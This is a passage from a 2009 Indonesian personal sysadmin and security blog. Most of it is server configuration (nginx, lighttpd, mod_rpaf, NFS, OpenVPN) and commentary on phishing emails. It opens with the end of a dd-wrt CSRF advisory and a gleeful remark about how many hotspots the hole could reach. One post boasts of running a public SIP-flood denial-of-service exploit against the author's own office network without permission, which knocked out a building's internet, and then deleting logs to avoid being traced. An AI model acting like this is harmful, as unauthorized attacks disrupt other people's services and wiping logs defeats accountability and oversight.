IE even this can be supressed, see this one:

http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/

Unlike the already documented CSRF vulnerability (
http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated
session. This means someone can even post some crafted [img] link on a forum
and a dd-wrt router owner visiting the forum will get owned :)

A weird vulnerability you're unlikely to see in 2009 :) Quite embarrassing I
would say :)

Thanks krassyo at krassyo.info for his support :)

Leka vecher :)

# milw0rm.com [2009-07-20]

Berapa banyak hospot yang terdapat di indonesia ya ... metode cukup mudah ... :D apalagi hole ddwrt ini cukup menggairahkan ...

nginx proxy

2009-07-22T16:37:00.002+07:00

Nginx terbukti ampuh seperti kata teman saya , kali ini saya akan mencoba implementasi penggunaan nginx ini .... nih konfigurasinya

#######################################################################
#
# This is the main Nginx configuration file.
#
# More information about the configuration options is available on
# * the English wiki - http://wiki.codemongers.com/Main
# * the Russian documentation - http://sysoev.ru/nginx/
#
#######################################################################

#----------------------------------------------------------------------
# Main Module - directives that cover basic functionality
#
# http://wiki.codemongers.com/NginxMainModule
#
#----------------------------------------------------------------------

user nobody nobody;
worker_processes 2;

error_log /var/log/nginx/error.log;
#error_log /var/log/nginx/error.log notice;
#error_log /var/log/nginx/error.log info;

pid /var/run/nginx.pid;

#----------------------------------------------------------------------
# Events Module
#
# http://wiki.codemongers.com/NginxEventsModule
#
#----------------------------------------------------------------------

events {
worker_connections 1024;
}

#----------------------------------------------------------------------
# HTTP Core Module
#
# http://wiki.codemongers.com/NginxHttpCoreModule
#
#----------------------------------------------------------------------

http {
include /etc/nginx/mime.types;
default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] $request '
'"$status" $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log /var/log/nginx/access.log main;

sendfile on;
#tcp_nopush on;
#tcp_noauth on ;
#keepalive_timeout 0;
keepalive_timeout 65;

gzip on;

# Load config files from the /etc/nginx/conf.d directory
include /etc/nginx/conf.d/*.conf;

#
# The default server
#
server {
listen 82;
server_name boc.telkom.net.id ;

access_log /var/log/nginx/host.access.log main;

# Main location
location / {
proxy_pass http://127.0.0.1:8080/;
proxy_redirect off;

proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

client_max_body_size 10m;
client_body_buffer_size 128k;

proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;

proxy_buffer_size 4k;
proxy_buffers 4 32k;
proxy_busy_buffers_size 64k;
proxy_temp_file_write_size 64k;
}

# Static files location
location ~* ^.+.(jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)$ {
root /spool/www/members_ng;
}

}
}

download modul rpaf

wget http://stderr.net/apache/rpaf/download/mod_rpaf-0.6.tar.gz

root@boc [~/mod_rpaf-0.6]# more README
mod_rpaf - reverse proxy add forward

This module does the opposite of mod_proxy_add_forward written
by Ask Bjørn Hansen. http://develooper.com/code/mpaf/

Compile and Install for 1.3:

apxs -i -a -c mod_rpaf.c

Compile and Install for 2.0:

apxs -i -c -n mod_rpaf-2.0.so mod_rpaf-2.0.c

or simply try:
make

Configuration Directives:
RPAFenable On
# Enable reverse proxy add forward
RPAFproxy_ips 127.0.0.1 10.0.0.1
# which ips are forwarding requests to us
RPAFsethostname On
# let rpaf update vhost settings
# allows to have the same hostnames as in the "real"
# configuration for the forwarding Apache
RPAFheader X-Forwarded-For
# Allows you to change which header mod_rpaf looks
# for when trying to find the ip the that is forwarding
# our requests

vi /usr/local/apache/conf.d/rpaf.conf

# Path to mod_rpaf-2.0.so, relative to /etc/httpd/
LoadModule rpaf_module modules/mod_rpaf-2.0.so

RPAFenable On
RPAFsethostname On

#Define our reverse proxy IP. Only substitute client IP in
#when we receive a request from this IP.
RPAFproxy_ips 127.0.0.1

# The header where the real client IP address is stored.
RPAFheader X-Forwarded-For

restart httpd , start nginx , jalan deh ................

Download Backtrack in Indonesia

2009-07-22T10:17:00.004+07:00

This is new link to download backtrack in indonesia network, i make this for my contribution as opensource lovers ... , greats to http://opensource.telkomspeedy.com

download :

http://repo.opensource.telkomspeedy.com/backtrack/

we hope you enjoy ......

Fake email ??? or ...

2009-07-18T16:47:00.003+07:00

Beginilah social engineering yang dilakukan pihak yang tidak bertanggung menggunakan fake email ke victim nya ,

Flag this message
You've received a photo from facebook.com!
Wednesday, July 15, 2009 10:52 AM
From:
"facebook.com"
Add sender to Contacts
To:
artikel@sekuritionline.net

saya melihat header dari email yang masuk
================================================================================

Return-Path:
Authentication-Results: mta131.mail.ac4.yahoo.com from=81-15-214-1.wyrzysk.net.pl; domainkeys=neutral (no sig); from=81-15-214-1.wyrzysk.net.pl; dkim=neutral (no sig)
Received: from 127.0.0.1 (EHLO omta0109.mta.everyone.net) (216.200.145.38) by mta131.mail.ac4.yahoo.com with SMTP; Tue, 14 Jul 2009 20:52:34 -0700
Received: from dm0208.mta.everyone.net (sj1-slb03-gw2 [172.16.1.96]) by omta0109.mta.everyone.net (Postfix) with ESMTP id 7B897648A7; Tue, 14 Jul 2009 20:52:33 -0700 (PDT)
Received: from 81-15-214-1.wyrzysk.net.pl (81.15.214.1 [81.15.214.1]) by dm0208.mta.everyone.net (EON-INBOUND) with ESMTP id dm0208.4a4aabf3.7e2b6ae for ; Tue, 14 Jul 2009 20:52:33 -0700
Received: from apache by 81-15-214-1.wyrzysk.net.pl with local (Exim 4.24) id 1MQvXh-0002HU-9z for artikel@sekuritionline.net; Wed, 15 Jul 2009 05:52:29 +0200
To: artikel@sekuritionline.net
Subject: You've received a photo from facebook.com!
From:
facebook.com
Add sender to Contacts
Content-Type: text/html
Message-Id:
Sender: User for Apache
Date: Wed, 15 Jul 2009 05:52:29 +0200
Content-Length: 944

terlihat

apache@81-15-214-1.wyrzysk.net.pl

pelaku memanfaatkan teknik ini untuk memanfaatkan kematian michael jackson dengan menekan tombol link yang tertera tetapi extensionnya berbentuk exe :)

pesan saya hati2x terhadap email yang masuk ke inbox anda , jangan sembarangan klik dari iklan2x yang ada :)

hanya mencoba //..\\

2009-07-18T16:36:00.000+07:00

Bosan , cari sesuatu , coba-coba deh, siang ini melihat keadaan sekitar saya duduk, sepi banget kantor ini deh, saya cuma test aja sih , bukan bermaksud lain.

Os yang saya gunakan Linux base on Ubuntu , Rhel 5 , saya coba remote ke mesin RHEL 5 , iseng menjalankan

http://www.milw0rm.com/exploits/7262

Microsoft Communicator allows remote attackers to cause a denial of service (memory consumption) via
# a large number of SIP INVITE requests, which trigger the creation of many sessions.

Apalagi disini SIP nya digunakan , alhasil , kurang lebih 1 menit internetnya down , segedung pula jatohnya , ampun dj , gak lupa hapus log dulu takut ke trace :) , lagi saya cuma ujicoba aja ternyata berhasil :D , dari pada bengong gak karuan mending cari ide lagi deh

2009-07-18T16:33:00.001+07:00

OpenVpn di Vista

2009-06-06T22:31:00.002+07:00

ada kendala untuk openvpn vista karena

Sun Jun 07 06:19:36 2009 ROUTE: route addition failed using CreateIpForwardEntry: One or more arguments are not correct. [if_index=32]
Sun Jun 07 06:19:36 2009 ROUTE: route addition failed using CreateIpForwardEntry: One or more arguments are not correct. [if_index=32]
Sun Jun 07 06:19:36 2009 ROUTE: route addition failed using CreateIpForwardEntry: One or more arguments are not correct. [if_index=32]
Sun Jun 07 06:19:36 2009 ROUTE: route addition failed using CreateIpForwardEntry: One or more arguments are not correct. [if_index=32]

saya lihat config ovpn lalu tambahkan ...

route-method exe
route-delay 2

berikut hasilnya

OK!
OK!
OK!
OK!
Sun Jun 07 06:25:12 2009 Initialization Sequence Completed

No sound Ubuntu 9.04 HP Pavilion tx2612AU

2009-05-28T10:56:00.003+07:00

This is howto ubuntu 9.04 have a sound and keep beep in you tablet PC :D , i try to search in google and there are problem in Jaunty

for me :

1. Pen pointer
2. Sound

for sound i find the solution here we go

add the line /etc/modprobe.d/alsa-base.conf

options snd-hda-intel index=0 model=toshiba position_fix=1
options snd-hda-intel index=0 model=acer

for the point 1 , im still do it ...

Repo Ubuntu yang terdekat dari network

2009-05-27T15:42:00.002+07:00

Install ubuntu Jaunty Jackalope 9.04 telah berhasil di tablet pc saya, skarang tinggal cari repo terdekat
kambing.ui.edu (UI, Telkom, Indosat, OpenIXP, INHERENT)

# deb http://kambing.ui.edu/ubuntu jaunty main restricted universe multiverse
# deb http://kambing.ui.edu/ubuntu jaunty-updates main restricted universe multiverse
# deb http://kambing.ui.edu/ubuntu jaunty-security main restricted universe multiverse
# deb http://kambing.ui.edu/ubuntu jaunty-backports main restricted universe multiverse
# deb http://kambing.ui.edu/ubuntu jaunty-proposed main restricted universe multiverse

www.foss-id.web.id (Telkom)

# deb http://dl2.foss-id.web.id/ubuntu jaunty main restricted universe multiverse
# deb http://dl2.foss-id.web.id/ubuntu jaunty-updates main restricted universe multiverse
# deb http://dl2.foss-id.web.id/ubuntu jaunty-security main restricted universe multiverse
# deb http://dl2.foss-id.web.id/ubuntu jaunty-backports main restricted universe multiverse
# deb http://dl2.foss-id.web.id/ubuntu jaunty-proposed main restricted universe multiverse

mirror.cbn.net.id (OpenIXP)

1. deb http://ubuntu.cbn.net.id/Ubuntu jaunty main restricted universe multiverse
2. deb http://ubuntu.cbn.net.id/Ubuntu jaunty-updates main restricted universe multiverse
3. deb http://ubuntu.cbn.net.id/Ubuntu jaunty-security main restricted universe multiverse
4. deb http://ubuntu.cbn.net.id/Ubuntu jaunty-backports main restricted universe multiverse
5. deb http://ubuntu.cbn.net.id/Ubuntu jaunty-proposed main restricted universe multiverse

ftp.itb.ac.id (ITB, INHERENT)

# deb ftp://ftp.itb.ac.id/pub/ubuntu jaunty main restricted universe multiverse
# deb ftp://ftp.itb.ac.id/pub/ubuntu jaunty-updates main restricted universe multiverse
# deb ftp://ftp.itb.ac.id/pub/ubuntu jaunty-security main restricted universe multiverse
# deb ftp://ftp.itb.ac.id/pub/ubuntu jaunty-backports main restricted universe multiverse
# deb ftp://ftp.itb.ac.id/pub/ubuntu jaunty-proposed main restricted universe multiverse

komo.vlsm.org

1. deb http://komo.vlsm.org/ubuntu jaunty main restricted universe multiverse
2. deb http://komo.vlsm.org/ubuntu jaunty-updates main restricted universe multiverse
3. deb http://komo.vlsm.org/ubuntu jaunty-security main restricted universe multiverse
4. deb http://komo.vlsm.org/ubuntu jaunty-backports main restricted universe multiverse
5. deb http://komo.vlsm.org/ubuntu jaunty-proposed main restricted universe multiverse

ping semua nya akhirnya ms terkecil jatuh pada foss id

www.foss-id.web.id (Telkom)

# deb http://dl2.foss-id.web.id/ubuntu jaunty main restricted universe multiverse
# deb http://dl2.foss-id.web.id/ubuntu jaunty-updates main restricted universe multiverse
# deb http://dl2.foss-id.web.id/ubuntu jaunty-security main restricted universe multiverse
# deb http://dl2.foss-id.web.id/ubuntu jaunty-backports main restricted universe multiverse
# deb http://dl2.foss-id.web.id/ubuntu jaunty-proposed main restricted universe multiverse

Hajar deh tuh repository local , amd-x2 gw jalan juga pake i386 , gw prefer pake 386 biar develnya gampang

Push Adrenalin

2009-05-21T13:56:00.001+07:00

Tepat jam 1 malam , detik jam terdengar seperti memanggil tidur diriku, tapi aku tak bisa tidur untuk saat ini, aku harus melakukan update kernel pada server, bukan karena diminta oleh seseorang tetapi melainkan atas keinginan diriku sendiri -

hal yang kulakukan:

1. Memastikan aplikasi sudah di update

2. Reboot server

Lho server tidak up , wah pressure tinggi nih, bisa-bisa di demo ribuan player game … , menunggu …

tepat jam 2 malam saya menjadi balanar … sms sana sini kordinasi dengan pihak terkait …

wuihhhhhh wassallam malam hari kok sms , push adrenalin .. bersabar hingga pagi pukul 8 , mencoba telepon kembali done !!!

Eskalasi gangguan telpon sana sini lagi , Done !!!

Andai server depan mataku aku yang up kan sendiri , sayangnya menggunakan system remote yang ada

Kordinasi dengan teman lama dan berhasil …. kembali ..

Jam 12.30 Siang saat ini belum tidur menunggu …. dan Alhamdulillah UP … hampir didemo ribuan player game :) , saya kira server colaps , ternyata prosses reboot kurang sempurna sehingga prosses menjadi stuck …

Jam 1.00 server sudah diupkan kembali , jalankan service sana sini …. berhasil …

Push adrenalinnya bener-bener hebat , pressure yang tinggi , wonderfull … pengalaman yang tak terkira seperti sebelum-sebelumnya :)

Multitasking dan Analisa

2009-05-21T13:55:00.003+07:00

Hari ini datang kantor terlambat , kerjaan lumayan antri, kayak antri sembako gitu deh, buka lemari ambil perangkat perang, hal yang dilakukan install aplikasi intruksi deteksi jaringan ( www.snort.com ) 4 jam selesai, abis itu siapkan streaming server buat event, pasang counter statistika awstats, uji bandwidth dan selesai 5 jam, sorenya cpanel down duarrrr , database error , gimana nggak down :

> File upload di limit 8 MB = 1 user upload 8 MB jika 20 user hasilnya 8×20 = 160 MB , dst

> Cpanel hanya tidak bisa dijadikan file sharing apalagi sampai ke streaming lagu

> Perlu Alokasi server baru berupa dedicated server dengan kapasitas storage yang besar dengan cluster yang ada

> Proxy cache bisa nginx , squid load balancer dengan metode round robin

selesai jam 5 waktunya pulang , iseng-iseng buka www.bhinneka.com mau snap sesuatu nih … yummy …

Jumat ini gak sabar mau main snort IDS … tapi masih bingung cari IPS yang opensource , duh kenapa kepikiran baca-baca router ya , sudah lama melupakan mainan ini …

Silencer ….

… weekendnya tanggung banget ya kamis … hari jumatnya kejepit nasional

dini hari … backup data laptop dulu …

12 malam ……..

Bener-bener hari kebangkitan nasional 20 Mei 2009 hhihihihi :)

Multitasking dan Analisa

2009-05-21T13:55:00.001+07:00

Lighttpd

2009-04-14T17:17:00.001+07:00

Duh kata katanya gak usah formil banget ya ... begini opensource.telkomspeedy.com agak-agak berat nih, ya karena banyaknya yang download-download di situs ini akhirnya coba aja deh pake lighttpd berikut langkahnya :).

Install Lighttpd

1. yum install lighttpd

Install package Lighttpd - FastCGI

2. yum install lighttpd-fastcgi php-cli

Konfigurasi Lighttpd dan PHP5

3. vi /etc/php.ini

tambahin

[...]
cgi.fix_pathinfo = 1

Uncomment mod_fastcgi

4. vi /etc/lighttpd/lighttpd.conf

aslinya

[...]
server.modules = (
# "mod_rewrite",
# "mod_redirect",
# "mod_alias",
"mod_access",
# "mod_cml",
# "mod_trigger_b4_dl",
# "mod_auth",
# "mod_status",
# "mod_setenv",
# "mod_fastcgi",
# "mod_proxy",
# "mod_simple_vhost",
# "mod_evhost",
# "mod_userdir",
# "mod_cgi",
# "mod_compress",
# "mod_ssi",
# "mod_usertrack",
# "mod_expire",
# "mod_secdownload",
# "mod_rrdtool",
"mod_accesslog" )
[...]

di ubah ke

[...]
server.modules = (
# "mod_rewrite",
# "mod_redirect",
# "mod_alias",
"mod_access",
# "mod_cml",
# "mod_trigger_b4_dl",
# "mod_auth",
# "mod_status",
# "mod_setenv",
"mod_fastcgi",
# "mod_proxy",
# "mod_simple_vhost",
# "mod_evhost",
# "mod_userdir",
# "mod_cgi",
# "mod_compress",
# "mod_ssi",
# "mod_usertrack",
# "mod_expire",
# "mod_secdownload",
# "mod_rrdtool",
"mod_accesslog" )
[...]

trus

fastcgi.server jangan lupa di uncomment juga

aslinya

[...]
#### fastcgi module
## read fastcgi.txt for more info
## for PHP don't forget to set cgi.fix_pathinfo = 1 in the php.ini
#fastcgi.server = ( ".php" =>
# ( "localhost" =>
# (
# "socket" => "/var/run/lighttpd/php-fastcgi.socket",
# "bin-path" => "/usr/bin/php-cgi"
# )
# )
# )
[...]

jadinya

[...]
#### fastcgi module
## read fastcgi.txt for more info
## for PHP don't forget to set cgi.fix_pathinfo = 1 in the php.ini
fastcgi.server = ( ".php" =>
( "localhost" =>
(
"socket" => "/var/run/lighttpd/php-fastcgi.socket",
"bin-path" => "/usr/bin/php-cgi"
)
)
)
[...]

nah sampai disini berhubung banyak file listing untuk download, uncomment aja

aslinya
#dir-listing.activate = "enable"

jadinya

dir-listing.activate = "enable"

dan bisa deh ..........

sedot ubuntu deh ....

http://opensource.telkomspeedy.com/ubuntu/

Name Last Modified Size Type
Parent Directory/ - Directory
.temp/ 2008-Dec-12 17:47:59 - Directory
debiandvd/ 2009-Mar-29 02:29:30 - Directory
dists/ 2008-Dec-19 01:01:12 - Directory
pool/ 2007-Jun-21 11:03:40 - Directory
project/ 2004-Jun-15 21:21:17 - Directory

lighttpd/1.4.20

intip celana dalem .......

2009-03-06T11:26:00.003+07:00

Sebenernya dapatkah kita membaca akses ip berapa yang masuk ke squid , bisa ...

asal squid tersebut :

forwarded_for On

config di http :

LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" X-Forwarded-For

CustomLog logs/X-Forwarded-For_log X-Forwarded-For

lihat log :

tail -f /var/log/httpd/X-Forwarded-For_log

generate awstats :

baca dan teliti :

LogFile="/var/log/httpd/X-Forwarded-For_log"

LogFormat=1

[26][in][my][old]

Untungnya mirip

2009-02-25T01:09:00.003+07:00

Huaaaaaaammm , gara2x sebuah system akhirnya terpaksa kalong lagi kayak anak aja ya nih .... tapi gak apa deh yang penting berhasil dan akhirnya menyelamatkan kembali semua data dan service rhel 5 ( cpanel hosting hehehehehehe ) ..........

mau tidur dulu ahhh bodo deh besok masuk kesiangan kesiangan deh ....

Router yang berantakan !!!! he3x

2009-02-20T10:14:00.003+07:00

Beginilah kalo membandingkan Layer 7 dengan Layer 3 , menurut saya lebih sulit pada layer 7 karena bisa berdasarkan aplikas, tapi berhubung yang saya coba router ...

betapa rentan jalur komunikasi yang terhubung melalui transmisi sampai ke router gateway ... saya pernah membandingkan dan melihat konfigurasi yang menurut saya cukup gak simple , ntah karena malas memasang access list atau sekedar membatasi Privilege , menuju super user ( # ) , jangan terlalu mudah menggunakan password jika perlu kombinasi karakter-karakter yang susah ditebak :D , port 23 menjadi bulan-bulanan para penyusup , dan rajin-rajinlah mengikuti perkembangan security dunia ...

Eits Deh ................

2009-02-16T14:07:00.002+07:00

SolarWinds.net, Inc. <-- nih dashboard yang dipake buat monitoring serper2x, terkadang keseharian di kerjaan sambil dan hitung-hitung ternyata ....... 30 serper :D dan semuanya wajib di hardening dan rajin-rajin di check , banyak ya ... semuanya masuk ke iix langsung lewat FO .... lho ???? berminat ??????

Sang Musisi ( Intermezo )

2009-02-11T05:01:00.004+07:00

Mungkin disini saya share aja mengenai temanku yang satu ini, ntah kenapa yang membuat temenku menjadi begini, kami adalah pecinta musik dulu di sma, bahkan cita-cita saya sendiri ingin menjadi musisi, kelas 2 sma band ini terbentuk, kita sempat ikut pentas musik sana sini, tapi inilah temanku yang paling menggebu-gebu jika urusan musik,walaupun begitu ada sisi kelucuan didirinya, disaat jam pelajaran sejarah, temanku yang satu ini asyik membaca buku musiknya padahal jam sejarah, aku sendiri sih menyimak walau kadang out of control dari pelajaran yang dituju, sampai sampai guru ini sempat melihat apa yang dilakukan oleh temanku satu ini ...

Pak Guru Sejarah : Hei kamu adi jawab pertanyaan saya ....... ( packet data )
Adi : Celingak celinguk seperti ayam kehilangan induknya.
Pak Guru Sejarah : Kamu ini kalau dikasih pertanyaan selalu seperti kebingungan ...
Adi : eh temen-temen apa sih pertanyaannya ( adi bertanya kepada teman-teman saya )
Teman-teman : makanya kalo dikasih pertanyaan tuh simak ( Sniff ) , tadi tuh pak guru tanya siapa presiden RI sekarang ( memang ulah temanku ini ada-ada saja )
Saya : menahan tawa ........
Adi : Langsung berteriak Habibi paaaaaaaaak
Teman-teman : Ngakak setengah mati semua ....

Adi : iya pak habibilah sambil menunjuk photo didepan ( kebetulan saat
itu adalah pasca era kerusuhan 1997 )

Pak Guru Sejarah : hahahahah anak kecil juga tau kalo itu ....

inilah kejadian yang kuingat betapa lucunya temanku ini ... sehingga otaknya seperti abis kena trino.tar.gz ....... yang berkepanjangan ...

Dirimu hanya Lamers !!!

2009-02-06T08:55:00.003+07:00

Lagi-lagi banyak phising aksi tipu2x .... penuhin di inbox saya ....

Dear Friend,

My name is Mr.Henry Mazak,supervisory Manager in the United Bank for Africa(UBA),Ouagadougou,Burkina Faso,West Africa. I have a business Deal worth of Seventeen Million,Five hundred Thousand U.S. Dollars and I need your assistance in executing this business from my country and investing in your country.

Please reply back to me immediately if you are interested so that i can send you more details of this transaction.

Thank you for your time and i look forward to working with you.

Yours,
Mr.Henry Mazak

dirimu hanya lamer ...

aksi tipu-tipu ...... spam sana-sini ... thats is cupu ... :D , tobatlah ... kembali ke jalan yang benar ...

Cheat VIM

2009-02-03T19:31:00.001+07:00

Siapa bilang VIM editor di linux gak ada cheatnya , emang ujian aja .. nih .... cheatnya .........

saat Google menjadi singit ....

2009-02-03T04:51:00.004+07:00

Coba deh baca disini ..........

"This site may harm your computer" on every search result?!?!

if you did a Google search between 6:30 a.m. PST and 7:25 a.m. PST this morning, you likely saw that the message "This site may harm your computer" accompanied each and every search result. This was clearly an error, and we are very sorry for the inconvenience caused to our users.

What happened? Very simply, human error. Google flags search results with the message "This site may harm your computer" if the site is known to install malicious software in the background or otherwise surreptitiously. We do this to protect our users against visiting sites that could harm their computers. We maintain a list of such sites through both manual and automated methods. We work with a non-profit called StopBadware.org to come up with criteria for maintaining this list, and to provide simple processes for webmasters to remove their site from the list.

We periodically update that list and released one such update to the site this morning. Unfortunately (and here's the human error), the URL of '/' was mistakenly checked in as a value to the file and '/' expands to all URLs. Fortunately, our on-call site reliability team found the problem quickly and reverted the file. Since we push these updates in a staggered and rolling fashion, the errors began appearing between 6:27 a.m. and 6:40 a.m. and began disappearing between 7:10 and 7:25 a.m., so the duration of the problem for any particular user was approximately 40 minutes.

Thanks to our team for their quick work in finding this. And again, our apologies to any of you who were inconvenienced this morning, and to site owners whose pages were incorrectly labelled. We will carefully investigate this incident and put more robust file checks in place to prevent it from happening again.

Thanks for your understanding.

Update at 10:29 am PST: This post was revised as more precise information became available (changes are in blue). Here's StopBadware's explanation.

Posted by Marissa Mayer, VP, Search Products & User Experience

...

Kmarin saat saya sedang membuat vpn dan akhirnya saya terpaksa terkapar dirumah seharian senin ini , oke next begini kronologinya saya sempetin buka google hasilnya mengarah ke stopbadware semua seperti terkena malware ... malam itu saya sempat chat bareng temen saya di bandung sama bro ian , saya pikir sih mungkin google
terkena serangan semacam virus ... tapi ternyata ....

disinyalir sebagai human error ... namanya juga manusia yang ciptain pasti ada juga kesalahannya ... tuh ada bacaaanya diatas

apa jangan2x banyak pegawai google di phk ya ........ jadi semacam konspirasi gitu ... entah lah !!!!

neh link tambahan

http://blog.stopbadware.org/2009/01/31/google-glitch-causes-confusion

In The Darkness ....

2009-02-02T19:34:00.002+07:00

Hari ini iseng capture kipas laptop nih .... setelah seharian ambil cuti ... yah karena sakit dan sekarang sudah mendingan ...

Openvpn.net

2009-02-01T21:14:00.002+07:00

Ada hal yang menarik mengenai openvpn , saya sempet melihat temen menggunakan vpn ini , cukup memudahkan apalagi saya bekerja sebagai operational , menangani gangguan , baik yang terlihat maupun kasat mata ( emang genderuwo ) ...

Ok sebenernya mudah sih install openvpn

Logikamya begini

connect ke server -- accept route - masqurade di eth1 ke dalam ,

langkah2x sih :

install webmin supaya gak ribet
install module vpn webmin

pas mau create Certification Authority List

dikolom masukin STare : DKI KOTA : DKI gak bisa masih ada bugnya <--- lom sempet cari tau nih
need to long 2 byte character kalo gak salah sih

akhirnya terpaksa default state US : kota : newyork ( hehehe gaya banget )

masukin akses server - client ....

duh : lagi gak enak body nih ... tulisan seadanya aja mo bobo cepet ....

NFS - aslinya - tambahinnya - jadinya

2009-01-29T09:41:00.003+07:00

#vi /etc/fstab

aslinya
/dev/rootVG/rootlv / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
devpts /dev/pts devpts gid=5,mode=620 0 0
tmpfs /dev/shm tmpfs defaults 0 0
proc /proc proc defaults 0 0
sysfs /sys sysfs defaults 0 0
/dev/rootVG/swapLV swap swap defaults 0 0

tambahinnya

/dev/rootVG/rootlv / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
devpts /dev/pts devpts gid=5,mode=620 0 0
tmpfs /dev/shm tmpfs defaults 0 0
proc /proc proc defaults 0 0
sysfs /sys sysfs defaults 0 0
/dev/rootVG/swapLV swap swap defaults 0 0
192.168.140.22:/data/app/iqbal /data/app/iqbal nfs auto,rw,nodev,nosuid,nolock,sync,_netdev,proto=udp,retry=10,rsize=32768,wsize=32768,hard,intr 0 0

#mkdir /data/app/iqbal

#mount -a

#df -hT

jadinya

Filesystem Type Size Used Avail Use% Mounted on
/dev/mapper/rootVG-rootlv
ext3 74G 30G 41G 42% /
/dev/cciss/c0d0p1
ext3 99M 30M 64M 32% /boot
tmpfs tmpfs 3.9G 0 3.9G 0% /dev/shm
192.168.140.22:/data/app/iqbal
nfs 1.0T 8.5G 1016G 1% /data/app/iqbal

simple kan !!! NFS - aslinya - tambahinnya - jadinya ...

Frekuensi oh Frekuensi

2009-01-29T09:09:00.003+07:00

Berikut ini adalah link mengenai penggunaan frekuensi yang diterbitkan oleh pemerintah dan postel ...........

http://www.postel.go.id/content/ID/regulasi/frekuensi/kepmen/pm%207.pdf

baca-baca dari millist indowli disebutkan frekuensi 2.4 tidak lagi free .... benarkah ???? ..................................

Idiotique ........ or what ???? in the biggest hosting ....

2009-01-28T10:23:00.004+07:00

iqbal: selamat pagi mbak / mas
iqbal: mau tanya nih masih ada gangguan kah untuk akses ke situs www.xxxxxxxxxxxxx.net
pt_mwn_supp10: sebentar saya cek
pt_mwn_supp10: masih sorry sepertinya website Anda terkena limit dari server kami
iqbal: oww
iqbal: sampai kapan ya
iqbal: awal bulan ?
pt_mwn_supp10: Di layanan shared hosting, untuk aktifivitas pengunjung yang bisa diduga ramai seperti itu, kami sarankan Anda upgrade ke paket server (Colocation/Dedicated). Dengan Colocation/Dedicated tidak ada batasan-batasan limit, karena dalam server tersebut hanya untuk digunakan oleh user Anda sendiri.
iqbal: usernya sedikit kok
iqbal: tapi mungkin kmarin lagi ramai
iqbal: quota nya baru sedikit
iqbal: lho
iqbal: Average 394.04 1232.22 8797.33 156.06 MB
Total 10639 33270 237528 4.11 GB
iqbal: baru 4 GB
iqbal: bulan lalu aja
iqbal: Average 381.84 973.81 9263.13 156.61 MB
Total 11837 30188 287157 4.74 GB
iqbal: coba di compare deh
iqbal: itu juga gak sampai 20 GB
iqbal: lho
iqbal: ada apa ya ?
iqbal: http://id.masterweb.net/layanan_harga_hosting.html
pt_mwn_supp10: Tulisan sorry tersebut akan hilang jika aktivitas pada web Anda sudah dibawah limit yang kami berikan
iqbal: limnit nya berapa ?
iqbal: ini blom sampe 5 Gb lho
iqbal: coba liat statistika nya deh
iqbal: spanel
iqbal: di awstats
pt_mwn_supp10: Boleh tahu range pengunjung web Anda per hari
iqbal: 6611
10639
(1.6 visits/visitor) 33270
(3.12 pages/visit) 237528
(22.32 hits/visit) 4.11 GB
(405.55 KB/visit)
iqbal: bandwidth kan tersedia 20 GB ya
iqbal: situs ini baru belum sampai 1 bulan = 4.11 GB
iqbal: pemakaian bw gak pernah sampai 20 GB
iqbal: 10 GB juga gak pernah
iqbal: kalau dirata2x < 5 GB
pt_mwn_supp10: kalau pengunjung Anda sampai sekitar 6000 per hari itu cukup banyak pak
iqbal: tapi bukannya tergantung quota limit giga nya
iqbal: ya
iqbal: bukan pengunjung nya
pt_mwn_supp10: sebagai catatan ada klien kami yang memiliki range pengunjung sekitar 4000 juga trekena sorry akhirnya klien tersebut memamfaan layanan kami yaitu vps
iqbal: bukannya limit giga byte nya
iqbal: nih limit nya
pt_mwn_supp10: kalau bandwith biasanya errornya adalah bandwith limit excedeed
iqbal: jadi ini statistika yang diberikan oleh master web berdasarkan dari bandiwdth atau concurency user ?
iqbal: tapi kalau hosting itu limit berdasarkan quota bandwidth
iqbal: bukan berdasarkan pengunjung lho
iqbal: maaf ini dengan siapa ya saya berbicara
pt_mwn_supp10: statistik di MWN itu untuk mengetahui berapa pengunjung yang datang ke website Anda juga data transfer yang Anda lakukan
iqbal: nah
iqbal: kalau dari awstats
iqbal: yang dari MWN itu tidak valid ?
iqbal: 4.11 GB
iqbal: segitu lho
pt_mwn_supp10: Kami selalu mengenerate data statistik setiap harinya
iqbal: jadi ini yang bener berdasarkan apa ya
iqbal: pengunjung
iqbal: atau bandiwdth
iqbal: We are sorry, your request cannot be completed because the server is under maintenance. Please try again a few minutes later.

Maaf, halaman yang Anda inginkan belum dapat ditampilkan karena server sedang maintenance. Harap mencoba beberapa menit lagi.
iqbal: menurut saya sih gak logis
iqbal: seharusnya hosting itu bukannya berdasarkan bandiwdth yang terquota
iqbal: bukan per concurency user
pt_mwn_supp10: Ada beberapa faktor pertama pengunjung kedua Anda menggunakan mysql atau apache yang besar
pt_mwn_supp10: Coba Anda pindahkan sementara data di web Anda ke folder home bukan ke folder ww
pt_mwn_supp10: lalu cek Apakah website Anda tetap tampil atau tetap sorry
iqbal: ok let me try ...
iqbal: ini sudah di chmod lho
iqbal: masih tetep juga
iqbal: kalau apache yang besar
iqbal: dan mysql yang besar
iqbal: berarti ada attack donk
iqbal: saya pengen tau sebenernya awstats itu valid apa tidak ?
iqbal: boleh tau saya berbicara dengan siapa ya ini ?

nb : ditawarin vps .... emang gw orang kaya ? beli segala kayak gitu modal dari mana ... kalo ada mah bisa gw bisa hardening sendiri ... kalau mau nyumbang sih gak apa2x .... tujuan situs ini komunitas untuk pengetahuan orang banyak ... penggila opensource , pecinta security dan lain-lain

1. Awstats yang disediakan itu valid atau tidak ?
2. Hosting itu berdasarkan quota bandiwidth atau pengunjung ...
3. Ternyata doi orang marketing ... cuma ym nya sih technical support ... atau
double job ...
4. Quota neh web mana pernah sampe 10 GB boro2x sampe 10 GB ... sampe 5 GB juga gak
pernah ...
